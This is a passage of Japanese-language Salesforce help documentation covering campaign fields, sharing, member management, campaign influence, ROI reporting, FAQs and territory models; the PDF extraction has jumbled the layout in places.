キャンペーンメンバーレコードタイプ

キャンペーンを識別するための名前。キャンペーン名

キャンペーンに割り当てられた所有
者。

キャンペーン 所有者

キャンペーンのレコードタイプによっ
て、キャンペーンで使用できる選択リ
ストの値が制御されます。

キャンペーンレコードタイプ

キャンペーンにおけるマーケティング
の努力の結果、取引先責任者に変換さ

取引開始済みのリード数

れたリード数。Salesforce は、すべての
関連レコードを使用して、そのレコー
ドに対する参照アクセス権があるかど
うかに関わらず、自動的にこの数を計
算します。リードの取引開始について
の詳細は、「評価済みリードの取引開
始」 (ページ1610)を参照してください。
この項目は、ワークフロールール、入
力規則、項目更新、承認申請の数式か
らは参照できませんが、カスタム数式
項目からは参照できます。この項目を
更新しても、ワークフロールールはト
リガされません。
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キャンペーンを作成したユーザ、作成日時も含む。
(参照のみ)

作成者

システム管理者が設定したキャンペーンのカスタムリ
ンクのリスト。

カスタムリンク

キャンペーンの説明。この項目には最大 32 KB までの
データを入力できます。レポートには、最初の 255 文
字だけが表示されます。

説明

キャンペーンの終了日。この日付以降に受け取ったレ
スポンスは引き続きカウントされます。

終了日

キャンペーンへのレスポンス見込み率 (パーセント)。期待されるレスポンス (%)

キャンペーンによる見込収益額。期待収益

キャンペーン項目を最後に変更したユーザ、変更日時
も含む。ここでは、キャンペーンの関連リスト項目の
いずれかに行った変更は追跡しません。(参照のみ)

最終更新者

キャンペーンに関連付けられた商談数の合計を示す項
目。(参照のみ) Salesforce は、すべての関連レコードを

商談数

使用して、そのレコードに対する参照アクセス権があ
るかどうかに関わらず、自動的にこの数を計算しま
す。この項目は、ワークフロールール、入力規則、項
目更新、承認申請の数式からは参照できませんが、カ
スタム数式項目からは参照できます。この項目を更新
しても、ワークフロールールはトリガされません。

キャンペーンの対象となった個人数。たとえば、メー
ルを送信した数など。

実施数

キャンペーンに関連付けられた商談が成立した数を示
す項目。(参照のみ) Salesforce は、すべての関連レコー

成立商談数

ドを使用して、そのレコードに対する参照アクセス権
があるかどうかに関わらず、自動的にこの数を計算し
ます。この項目は、ワークフロールール、入力規則、
項目更新、承認申請の数式からは参照できませんが、
カスタム数式項目からは参照できます。この項目を更
新しても、ワークフロールールはトリガされません。

選択したキャンペーンよりキャンペーン階層内で上位
にあるキャンペーン。

親キャンペーン

キャンペーンの開始日。開始日

たとえば、「計画」、「進行中」などのキャンペーン
の状況。エントリは、システム管理者が設定した選択

状況
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可能な値リストから選択したものです。選択リストの
値には、40 文字まで入力可能です。

キャンペーン階層の実施に費やされた金額の合計を示
す計算済み項目。(参照のみ) Salesforce は、すべての関

階層内の実費数合計

連レコードを使用して、そのレコードに対する参照ア
クセス権があるかどうかに関わらず、自動的にこの数
を計算します。この項目は、ワークフロールール、入
力規則、項目更新、承認申請の数式からは参照できま
せんが、カスタム数式項目からは参照できます。この
項目を更新しても、ワークフロールールはトリガされ
ません。

キャンペーン階層の予算の合計金額を示す計算済み項
目。(参照のみ) Salesforce は、すべての関連レコードを

階層内の予算数合計

使用して、そのレコードに対する参照アクセス権があ
るかどうかに関わらず、自動的にこの数を計算しま
す。この項目は、ワークフロールール、入力規則、項
目更新、承認申請の数式からは参照できませんが、カ
スタム数式項目からは参照できます。この項目を更新
しても、ワークフロールールはトリガされません。

キャンペーンに関連付けられた取引先の個人数。
Salesforceは、すべての関連レコードを使用して、その

取引先責任者総数

レコードに対する参照アクセス権があるかどうかに関
わらず、自動的にこの数を計算します。この項目は、
ワークフロールール、入力規則、項目更新、承認申請
の数式からは参照できませんが、カスタム数式項目か
らは参照できます。この項目を更新しても、ワークフ
ロールールはトリガされません。

キャンペーン階層に関連付けられた取引先責任者数の
合計を示す項目。(参照のみ) Salesforce は、すべての関

階層内の取引先責任者数合計

連レコードを使用して、そのレコードに対する参照ア
クセス権があるかどうかに関わらず、自動的にこの数
を計算します。この項目は、ワークフロールール、入
力規則、項目更新、承認申請の数式からは参照できま
せんが、カスタム数式項目からは参照できます。この
項目を更新しても、ワークフロールールはトリガされ
ません。

取引先、取引先責任者、および商談に変換されたキャ
ンペーン階層に関連付けられたリード数の合計を示す

階層内の取引開始済みのリード数合計

項目。Salesforce は、すべての関連レコードを使用し
て、そのレコードに対する参照アクセス権があるかど
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うかに関わらず、自動的にこの数を計算します。この
項目は、ワークフロールール、入力規則、項目更新、
承認申請の数式からは参照できませんが、カスタム 

数式項目からは参照できます。この項目を更新して
も、ワークフロールールはトリガされません。

キャンペーン階層の収益として期待される金額の合計
を示す計算済み項目。(参照のみ) Salesforce は、すべて

階層内の期待収益数合計

の関連レコードを使用して、そのレコードに対する参
照アクセス権があるかどうかに関わらず、自動的にこ
の数を計算します。この項目は、ワークフロールー
ル、入力規則、項目更新、承認申請の数式からは参照
できませんが、カスタム数式項目からは参照できま
す。この項目を更新しても、ワークフロールールはト
リガされません。

キャンペーンに関連付けられた見込みのある商談 (リー
ド) 数。Salesforce は、すべての関連レコードを使用し

リード総数

て、そのレコードに対する参照アクセス権があるかど
うかに関わらず、自動的にこの数を計算します。この
項目は、ワークフロールール、入力規則、項目更新、
承認申請の数式からは参照できませんが、カスタム数
式項目からは参照できます。この項目を更新しても、
ワークフロールールはトリガされません。

キャンペーン階層に関連付けられたリードの合計数を
示す計算済み項目。この数には、変換済みのリードも

階層内のリード数合計

含まれます。(参照のみ) Salesforce は、すべての関連レ
コードを使用して、そのレコードに対する参照アクセ
ス権があるかどうかに関わらず、自動的にこの数を計
算します。この項目は、ワークフロールール、入力規
則、項目更新、承認申請の数式からは参照できません
が、カスタム数式項目からは参照できます。この項目
を更新しても、ワークフロールールはトリガされませ
ん。

キャンペーン階層の対象となる個人の数の合計を示す
計算済み項目 (送信されたメール数など)。(参照のみ)

階層内の実施数合計

Salesforceは、すべての関連レコードを使用して、その
レコードに対する参照アクセス権があるかどうかに関
わらず、自動的にこの数を計算します。この項目は、
ワークフロールール、入力規則、項目更新、承認申請
の数式からは参照できませんが、カスタム数式項目か
らは参照できます。この項目を更新しても、ワークフ
ロールールはトリガされません。
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キャンペーン階層に関連付けられた商談の合計数を示
す項目。(参照のみ) Salesforce は、すべての関連レコー

階層内の商談数合計

ドを使用して、そのレコードに対する参照アクセス権
があるかどうかに関わらず、自動的にこの数を計算し
ます。この項目は、ワークフロールール、入力規則、
項目更新、承認申請の数式からは参照できませんが、
カスタム数式項目からは参照できます。この項目を更
新しても、ワークフロールールはトリガされません。

キャンペーンに対する [メンバーの状況] が「レスポ
ンスあり」になっている取引先責任者と取引未開始

レスポンス数

リードの合計を示す項目。(参照のみ) Salesforce は、す
べての関連レコードを使用して、そのレコードに対す
る参照アクセス権があるかどうかに関わらず、自動的
にこの数を計算します。この項目は、ワークフロー
ルール、入力規則、項目更新、承認申請の数式からは
参照できませんが、カスタム数式項目からは参照でき
ます。この項目を更新しても、ワークフロールールは
トリガされません。

キャンペーン階層の [メンバーの状況] が「レスポン
スあり」になっている取引先責任者と取引未開始リー

階層内のレスポンス数合計

ドの合計を示す項目。(参照のみ) Salesforce は、すべて
の関連レコードを使用して、そのレコードに対する参
照アクセス権があるかどうかに関わらず、自動的にこ
の数を計算します。この項目は、ワークフロールー
ル、入力規則、項目更新、承認申請の数式からは参照
できませんが、カスタム数式項目からは参照できま
す。この項目を更新しても、ワークフロールールはト
リガされません。

成立した商談も含めて、キャンペーンに関連付けられ
た商談金額の合計を示す項目。(参照のみ) Salesforceは、

商談金額

すべての関連レコードを使用して、そのレコードに対
する参照アクセス権があるかどうかに関わらず、自動
的にこの数を計算します。
マルチ通貨を使用している組織では、商談金額はキャ
ンペーン通貨に換算されます。ユーザの通貨がキャン
ペーン通貨と一致しない場合、金額はユーザの通貨に
換算され、括弧内に表示されます。
高度な通貨管理を使用している組織では、商談金額は
期間指定換算レートによってキャンペーン通貨に換算
されます。キャンペーン通貨がユーザの通貨と一致し
ない場合、商談金額の合計は、期間指定換算レートで
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はなく、標準換算レートを使って換算され、金額は括
弧内に表示されます。
この項目は、ワークフロールール、入力規則、項目更
新、承認申請の数式からは参照できませんが、カスタ
ム数式項目からは参照できます。この項目を更新して
も、ワークフロールールはトリガされません。

成立した商談も含めて、キャンペーン階層に関連付け
られたすべての商談額を合計した金額を示す項目。

階層内の商談金額合計

(参照のみ) Salesforce は、すべての関連レコードを使用
して、そのレコードに対する参照アクセス権があるか
どうかに関わらず、自動的にこの数を計算します。
階層内のすべてのキャンペーンで同じ通貨を使用する
必要があります。
マルチ通貨を使用している組織では、商談金額はキャ
ンペーン通貨に換算されます。ユーザの通貨がキャン
ペーン通貨と一致しない場合、金額はユーザの通貨に
換算され、括弧内に表示されます。
高度な通貨管理を使用している組織では、商談金額は
期間指定換算レートによってキャンペーン通貨に換算
されます。キャンペーン通貨がユーザの通貨と一致し
ない場合、商談金額の合計は、期間指定換算レートで
はなく、標準換算レートを使って換算され、金額は括
弧内に表示されます。

キャンペーンに関連付けられた成立商談の合計金額を
示す項目。(参照のみ) Salesforceは、すべての関連レコー

成立商談金額

ドを使用して、そのレコードに対する参照アクセス権
があるかどうかに関わらず、自動的にこの数を計算し
ます。
マルチ通貨を使用している組織では、商談金額はキャ
ンペーン通貨に換算されます。ユーザの通貨がキャン
ペーン通貨と一致しない場合、金額はユーザの通貨に
換算されます。
高度な通貨管理を使用している組織では、商談金額は
期間指定換算レートによってキャンペーン通貨に換算
されます。キャンペーン通貨がユーザの通貨と一致し
ない場合、商談金額の合計は、期間指定換算レートで
はなく、標準換算レートを使って換算され、金額は括
弧内に表示されます。
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この項目は、ワークフロールール、入力規則、項目更
新、承認申請の数式からは参照できませんが、カスタ
ム数式項目からは参照できます。この項目を更新して
も、ワークフロールールはトリガされません。

キャンペーン階層に関連付けられた成立商談の合計金
額を示す項目。(参照のみ) Salesforce は、すべての関連

階層内の成立商談金額合計

レコードを使用して、そのレコードに対する参照アク
セス権があるかどうかに関わらず、自動的にこの数を
計算します。
階層内のすべてのキャンペーンで同じ通貨を使用する
必要があります。
マルチ通貨を使用している組織では、商談金額はキャ
ンペーン通貨に換算されます。ユーザの通貨がキャン
ペーン通貨と一致しない場合、金額はユーザの通貨に
換算されます。
高度な通貨管理を使用している組織では、商談金額は
期間指定換算レートによってキャンペーン通貨に換算
されます。キャンペーン通貨がユーザの通貨と一致し
ない場合、商談金額の合計は、期間指定換算レートで
はなく、標準換算レートを使って換算され、金額は括
弧内に表示されます。
この項目は、ワークフロールール、入力規則、項目更
新、承認申請の数式からは参照できませんが、カスタ
ム数式項目からは参照できます。この項目を更新して
も、ワークフロールールはトリガされません。

キャンペーン階層に関連付けられた成立商談の合計数
を示す項目。Salesforceは、すべての関連レコードを使

階層内の成立の商談数合計

用して、そのレコードに対する参照アクセス権がある
かどうかに関わらず、自動的にこの数を計算します。
この項目は、ワークフロールール、入力規則、項目更
新、承認申請の数式からは参照できませんが、カスタ
ム数式項目からは参照できます。この項目を更新して
も、ワークフロールールはトリガされません。

たとえば、「ダイレクトメール」、「紹介プログラ
ム」などキャンペーンの種別。エントリは、システム

種類

管理者が設定した選択可能な値リストから選択したも
のです。選択リストの値には、40 文字まで入力可能
です。
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キャンペーンの共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーンを参照する
• キャンペーンに対する

「参照」

キャンペーンを共有する
• キャンペーンに対する

「参照」

および

[マーケティングユー
ザ] チェックボックス
がオンになっているこ
と

システム管理者は、キャンペーンのアクセス権に対する組織の共有モデルを定
義します。ただし、ユーザは自分のキャンペーンに対する共有権限を個別に拡
張できます。キャンペーンの共有を使用してキャンペーンへのアクセスを拡張
することはできますが、組織のデフォルトのアクセス権より強いアクセス権の
設定はできません。
共有の詳細を表示および管理するには、キャンペーンの詳細ページで [共有] を
クリックします。共有の詳細ページには、キャンペーンへの共有アクセス権を
持つユーザ、グループ、ロール、およびテリトリーが一覧表示されます。この
ページでは、次の作業を実行できます。
• 項目の絞り込みリストを表示するには、[表示] ドロップダウンリストから

事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。作成したビューを編集または削除
するには、[表示]ドロップダウンリストから選択し、[編集]をクリックしま
す。

• 他のユーザ、グループ、ロール、またはテリトリーのレコードへのアクセス
権を付与するには、[追加] をクリックします。

• レコードへのアクセス権を持つすべてのユーザを表示するには、[リストの拡
張] をクリックします。

• 自分で作成した共有の直接設定ルールについては、リスト内の項目の横にあ
る [編集]か [削除] をクリックすると、アクセスレベルを編集または削除でき
ます。

考慮事項
• キャンペーンを共有するには、キャンペーンに対する [公開/フルアクセス]権

限を持っており、個人情報で [マーケティングユーザ]チェックボックスがオ
ンになっている必要があります。

• [共有] ボタンは、キャンペーンに対する組織の共有設定に応じて使用できます。
• 共有レコードを参照するには、必ず、適切なオブジェクトの「参照」権限を持っているユーザとレコード

を共有してください。
• キャンペーンを共有しても、すべてのキャンペーンメンバーへの参照アクセスが自動的に許可されるわけ

ではありません。キャンペーンを共有するユーザが、関連するリードまたは取引先責任者へのアクセス許
可を与えられているかどうか確認してください。

• キャンペーン階層統計項目は、ユーザが階層内の特定のキャンペーンに対する共有権限を持っているかど
うかに関係なく、階層内の親キャンペーンとすべての下位キャンペーンの集計データを表示します。その
ため、キャンペーン階層統計を有効にする場合は、組織のキャンペーン共有設定に留意してください。ユー
ザに階層統計データを表示しない場合は、[キャンペーン階層] 関連リストから、不要なキャンペーン階層
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統計項目を削除してください。これらの項目は、インターフェースでは削除しても、レポートでは使用で
きます。

関連トピック:

キャンペーン階層の表示
キャンペーン階層統計の表示

キャンペーンへの複数の取引先責任者およびリードの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

複数の取引先責任者、
リード、および個人取引
先をキャンペーンに追加
する
• ユーザ情報の [マーケ

ティングユーザ]

および

キャンペーンに対する
「編集」

および

取引先責任者、リー
ド、および個人取引先
に対する「参照」

アクセシビリティモードで、一度に複数の取引先責任者、リード、および個人
取引先をメンバーとしてキャンペーンにすばやく追加できます。
1. キャンペーンから、[メンバーの管理] をクリックします。
2. [メンバーの追加 - 既存を取引先責任者] または [メンバーの追加 - 既存をリー

ド] のどちらかをクリックします。
3. ウィザードの最初のステップで、新しいメンバーに割り当てるキャンペーン

メンバーの状況を選択します。
4. [次へ] をクリックします。
5. キャンペーンメンバーとして追加するレコードを選択します。

関連トピック:

リストビューから複数のメンバーをキャンペーンに追加

1577

キャンペーンの計画、管理、および追跡顧客への営業



キャンペーンが貢献する商談の追跡

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

キャンペーンが商談にどう貢献するかを追跡します。

カスタマイズ可能なキャンペーンインフルエンス
カスタマイズ可能なキャンペーンインフルエンスを使用すると、商談成立に
貢献した各キャンペーンにクレジットを割り当てる方法を決定できます。
キャンペーンインフルエンス 1.0

元のバージョンのキャンペーンインフルエンスを使用して、キャンペーンの
投資収益を把握します。

カスタマイズ可能なキャンペーンインフルエンス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタマイズ可能なキャンペーンインフルエンスを使用すると、商談成立に貢
献した各キャンペーンにクレジットを割り当てる方法を決定できます。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

影響のあるキャンペーンの商談への追加
商談に影響のあるキャンペーンのリストを商談詳細ページで直接管理しま
す。
キャンペーン結果の表示
キャンペーンの投資収益を把握するには、キャンペーンの影響を受けた商談
と、それらの商談による合計収益を表示します。
キャンペーン結果のレポート
キャンペーンの投資収益に対する理解を深めるには、キャンペーンインフルエンスと商談、キャンペーン、
取引先責任者、取引先を組み合わせたカスタムレポートタイプを作成します。
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影響のあるキャンペーンの商談への追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[キャンペーンインフルエ
ンス] 関連リストを参照す
る
• キャンペーンと商談に

対する「参照」

影響のあるキャンペーン
を手動で追加または更新
する
• キャンペーンに対する

「参照」

および

商談に対する「参照」
および「編集」

および

ユーザ詳細で「マーケ
ティングユーザ」が選
択されていること

商談に影響のあるキャンペーンのリストを商談詳細ページで直接管理します。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

影響のあるキャンペーンを商談に追加する前に、次の点を考慮します。
• ビジネスユーザが Salesforce キャンペーンインフルエンスモデルを使用する場

合、影響のあるキャンペーンを手動で商談に追加することはできません。
キャンペーンはシステム管理者が定義したルールに基づいて自動的に商談に
追加されます。

• ビジネスユーザが別のキャンペーンインフルエンスモデルを使用し、システ
ム管理者がそれを許可する場合、影響のあるキャンペーンを商談に追加でき
ます。

1. 商談の詳細ページを表示します。
2. [キャンペーンの影響] 関連リストの [新規] をクリックします。
3. [キャンペーン名] 項目にキャンペーン名を入力するか、 をクリックして

キャンペーンを検索します。
4. Salesforce インフルエンスモデルを使用していて、キャンペーンを主キャン

ペーンとして指定する場合、[主キャンペーンソース] を選択します。
5. [保存] をクリックします。
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キャンペーン結果の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キャンペーン詳細を参照
する
• キャンペーンに対する

「参照」

キャンペーンの投資収益を把握するには、キャンペーンの影響を受けた商談と、
それらの商談による合計収益を表示します。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

キャンペーン詳細ページを表示すると、[影響を受ける商談] (1) 関連リストにキャ
ンペーンによって生成された商談が表示されます。表示される商談は、システ
ム管理者が指定した主キャンペーンインフルエンスモデルに基づいています。

キャンペーン詳細ページの [キャンペーン統計] セクション (1) には、キャンペーンによって生成された商談の
概要 (商談数、それらの商談による合計収益、成立した商談の合計収益など) が表示されます。
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キャンペーン結果のレポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

キャンペーンの投資収益に対する理解を深めるには、キャンペーンインフルエ
ンスと商談、キャンペーン、取引先責任者、取引先を組み合わせたカスタムレ
ポートタイプを作成します。

メモ: この情報は、カスタマイズ可能なキャンペーンインフルエンスにの
み適用され、元のバージョンのキャンペーンインフルエンスには適用され
ません。

キャンペーンの効果を確認するために作成できるカスタムレポートタイプの例
として次のようなものがあります。
• 影響を受ける商談が関連するキャンペーン — 最も商談を促進したキャンペー

ンと投資収益が最も大きかったキャンペーンをレポートします。
• キャンペーンインフルエンスが関連する商談 — キャンペーンがどの程度商

談に影響を与えたかをレポートします。インフルエンスモデルごとに別個の
レポートを作成してダッシュボードに追加すると、各モデルの結果を比較で
きます。

• キャンペーンインフルエンスが関連する取引先責任者または取引先 — どの
取引先責任者または取引先が最もキャンペーンの影響を受けたかをレポート
します。

キャンペーンインフルエンス 1.0

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

元のバージョンのキャンペーンインフルエンスを使用して、キャンペーンの投
資収益を把握します。

メモ: この情報は、元のバージョンのキャンペーンインフルエンスにのみ
適用され、カスタマイズ可能なキャンペーンインフルエンスには適用され
ません。

影響のあるキャンペーンの商談への追加
商談に影響のあるキャンペーンのリストを商談詳細ページで直接管理しま
す。
キャンペーンインフルエンスの設定
商談に影響を与えるキャンペーンのユーザへの表示
1 つの商談に影響のある複数のキャンペーンを関連付けます。
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影響のあるキャンペーンの商談への追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[キャンペーンの影響] 関連
リストを参照する
• キャンペーンに対する

「参照」

および

商談に対する「参照」

影響のあるキャンペーン
を手動で追加する
• キャンペーンに対する

「参照」

および

商談に対する「参照」
または「編集」

商談に影響のあるキャンペーンのリストを商談詳細ページで直接管理します。

メモ: この情報は、元のバージョンのキャンペーンインフルエンスにのみ
適用され、カスタマイズ可能なキャンペーンインフルエンスには適用され
ません。

影響のあるキャンペーンを商談に追加する前に、次の点を考慮します。
• 影響のあるキャンペーンは複数存在してもかまいませんが、商談に対する主

キャンペーンソースとして指定できるのは 1 つのキャンペーンのみです。
• 主キャンペーンソースとして指定するキャンペーンは、常に [キャンペーン

の影響] 関連リストに表示されます。
• キャンペーン詳細ページのキャンペーン統計セクションにある [商談] 項目に

は、主キャンペーンソースとして指定したキャンペーンに関する情報のみが
入力されます。たとえば、同じ商談に影響を与えるメールキャンペーンとテ
レマーケティングキャンペーンがある場合に、メールキャンペーンを主キャ
ンペーンソースとして指定するとします。このキャンペーン統計の [商談] 項
目には、メールキャンペーンに関する情報のみが入力されます。

• [主キャンペーンソース] を選択すると、商談詳細ページの [主キャンペーン
ソース] 項目が更新され、その主キャンペーンの名前が入力されます。この
変更により、商談でワークフロールールおよびApexルールが起動される可能
性があります。

• [キャンペーンを追加] を使用してキャンペーンを [キャンペーンの影響] 関連
リストに追加した場合は、キャンペーンメンバーの詳細が関連リストに表示
されません。

では、[キャンペーンの影響] 関連リストの影響のあるキャンペーンを追加しま
しょう。
1. 商談の詳細ページを表示します。
2. [キャンペーンの影響] 関連リストの[キャンペーンの追加]をクリックします。
3. [キャンペーン名] 項目にキャンペーン名を入力するか、 をクリックしてキャンペーンを検索します。
4. キャンペーンを主キャンペーンとして指定する場合は、[主キャンペーンソース] を選択します。
5. [保存] をクリックします
検索条件を設定し、その条件に合えば、影響のあるキャンペーンを自動的に商談に追加することもできます。
たとえば、メールキャンペーンとテレマーケティングキャンペーンのみを追加する条件を設定できます。

関連トピック:

商談に影響を与えるキャンペーンのユーザへの表示
キャンペーンインフルエンスの設定
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キャンペーンの計画、管理、および追跡に関する FAQ

FAQ - キャンペーン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

• メールを使用するキャンペーンで一括メール送信の機能を使用できますか?

• キャンペーンから発生した商談はどのようにして把握できますか?

• キャンペーンの ROI の計算方法は?

• 取引先責任者とリードをキャンペーンに追加する方法は?

• キャンペーンの影響レポートと ROI レポートとの違いは?

• キャンペーンにアクセスできるのは誰ですか?

関連トピック:

キャンペーン

メールを使用するキャンペーンで一括メール送信の機能を使用で
きますか?

一括メール送信は、小規模な商談でのメール送信をサポートするために設計された機能です。マーケティング
用ではありません。Salesforce Marketing Cloud またはAppExchangeのサードパーティ製アプリケーションを使用し、
メールキャンペーンを一元的に管理し、応答を追跡できるようにすることをお勧めします。

関連トピック:

FAQ - キャンペーン

取引先責任者とリードをキャンペーンに追加する方法は?

組織のキャンペーンは多くの場合、既存の顧客 (取引先責任者) または見込み客 (リード) が対象になります。取
引先責任者とリードは、キャンペーンメンバーとしてキャンペーンに関連付けることができます。
• 取引先責任者かリードを個別にキャンペーンに追加するには、取引先責任者またはリードのレコードの

[キャンペーンに追加] をクリックしてキャンペーンを選択します。
• 複数の取引先責任者またはリードをキャンペーンに追加するには、次の表を利用して、使用している取引

先責任者情報またはリード情報のソースの推奨ステップを見つけてください。

追加が可能な最大レコード数取引先責任者をキャンペーンに追
加するステップ

取引先責任者ソース

1 レポートにつき 50,000 件標準レポートからキャンペーンメ
ンバーを追加

既存の取引先責任者のレポート

1 インポートファイルにつき 50,000

件
データインポートウィザードを使
用した既存の取引先責任者のキャ
ンペーンへの追加

既存の取引先責任者の CSV ファイル

1583

キャンペーンの計画、管理、および追跡顧客への営業

http://sites.force.com/appexchange


追加が可能な最大レコード数取引先責任者をキャンペーンに追
加するステップ

取引先責任者ソース

1 インポートファイルにつき 50,000

件
データインポートウィザードを使
用した取引先責任者の作成および
キャンペーンへの追加

新しい取引先責任者の .csv ファイル

1 リストページにつき 250 件リストビューから複数のメンバー
をキャンペーンに追加

既存の取引先責任者のリストビュー

追加が可能な最大レコード数リードをキャンペーンに追加する
ステップ

リードソース

1 レポートにつき 50,000 件標準レポートからキャンペーンメ
ンバーを追加

既存のリードのレポート

1 インポートファイルにつき 50,000

件
データインポートウィザードを使
用したキャンペーンへの既存のリー
ドの追加

既存のリードの .csv ファイル

1 インポートファイルにつき 50,000

件
データインポートウィザードを使
用したリードの作成およびキャン
ペーンへの追加

新規リード一覧の CSV ファイル

1 リストページにつき 250 件リストビューから複数のメンバー
をキャンペーンに追加

既存のリードのリストビュー

関連トピック:

FAQ - キャンペーン

キャンペーンの ROI の計算方法は?

キャンペーン ROI 分析レポートは、キャンペーンレポートフォルダの [レポート] タブにあります。このレポー
トでは、キャンペーンのパフォーマンスを投資収益率 (ROI) と平均コストで計算します。レポートのキャンペー
ンごとに、次のように計算します。
• ROI は、パーセントで表され、実費で除算された純益 (成立商談金額合計 - 実費) として算出されます。
• 成立商談金額合計は、完了した商談または成立商談の計算された金額です。ここで、キャンペーンは商談

に関する主キャンペーンソースです。

関連トピック:

FAQ - キャンペーン
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キャンペーンから発生した商談はどのようにして把握できますか?

キャンペーンの大きな利点は、キャンペーンからどれだけの事業が生成されたかを把握できることです。商談
を作成するとき、[主キャンペーンソース]項目に入力して、その商談が特定のキャンペーンから生成されたこ
とを示すことができます。
さらに、キャンペーンに関連付けられているリードを変換して取引を開始すると、そのキャンペーンが商談の
[主キャンペーンソース] 項目に自動的に入力されます。
リードまたは取引先責任者が複数のキャンペーンに関連付けられている場合は、そのリードまたは取引先責任
者が最後に関連付けられたキャンペーンが、商談の [主キャンペーンソース] 項目に挿入されます。
キャンペーンの [商談] 関連リストには、キャンペーンに関連付けられているすべての商談が表示されます。
キャンペーン収益レポートを実行して、どの商談がキャンペーンに関連付けられているかを把握することもで
きます。

関連トピック:

FAQ - キャンペーン

キャンペーンの影響レポートと ROI レポートとの違いは?

キャンペーンの影響では、複数のキャンペーンのパイプラインおよび収益を追跡し、パイプラインおよび ROI

レポートのためにその商談に取引先責任者の役割のすべてのキャンペーンを関連付けます。これは、複数の
キャンペーンが完了した案件または取引開始済みのリードに関与する際の案件サイクルが長い場合に特に役立
ちます。

関連トピック:

FAQ - キャンペーン

キャンペーンにアクセスできるのは誰ですか?

組織内のユーザは、共有設定に応じて、キャンペーンおよびキャンペーンの高度な設定を表示したり、キャン
ペーンレポートを実行したりできます。ただし、キャンペーンを作成、編集、および削除し、高度なキャン
ペーン設定を行うことができるのは、適切なユーザ権限を持つ指定されたマーケティングユーザだけです。
ユーザをマーケティングユーザとして指定するには、システム管理者がそのユーザの個人情報で[マーケティ
ングユーザ] オプションを選択する必要があります。
さらに、適切なユーザ権限を持つマーケティングユーザは、データインポートウィザードを使用して、取引先
責任者、リード、および個人取引先をキャンペーンメンバーとして追加できます。また、データインポート
ウィザードを使用してキャンペーンメンバーの状況を更新することもできます。

関連トピック:

FAQ - キャンペーン
誰がキャンペーンメンバーをインポートできますか?
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Salesforce 組織のテリトリーモデルの探索
エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを参照および
アーカイブする
• 「設定・定義を参照す

る」

テリトリーモデルには、上位テリトリーと下位テリトリーの階層およびリスト
ビューが含まれています。営業テリトリーを管理するか、それに属している場
合は、テリトリーモデルを探索して営業活動がどのように構成されているかを
理解する必要があります。ドリルダウンし、割り当てられた取引先など、個々
のテリトリーの重要な詳細を取得します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. [設定] から、[クイック検索] ボックスに「テリトリーモデル」と入力し、[テ
リトリーモデル] を選択します。組織の有効なテリトリーモデルがリスト
ビューに表示されます。モデルの表示ラベルをクリックすると、その詳細
ページが表示されます。詳細ページには、テリトリーを再配置するために取
引先割り当てルールを最後に実行した日時が他の詳細と共に表示されます。

2. リストビューで、モデルの [階層の表示] リンクをクリックします。
3. [ツリービュー] をクリックし、階層ツリーを展開して探索します。
4. 階層内でテリトリーの表示ラベルをクリックして、その詳細ページを表示し

ます。詳細ページでは、テリトリー種別、割り当てられたユーザおよびその
アクセス権、割り当てルールなどを識別できます。

5. ページ上部からモデルのテリトリー階層に戻り、他のテリトリーを確認します。

関連トピック:

テリトリー階層
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取引先の営業テリトリーの識別
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

取引先の営業テリトリー
を識別する
• 取引先に対する「参

照」

取引先が属している営業テリトリーを確認します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

1. 取引先レコードを開きます。
2. [テリトリー割り当て] 関連リストで取引先のテリトリーを参照します。

関連トピック:

テリトリーの取引先のリストの参照
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テリトリーの取引先のリストの参照
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
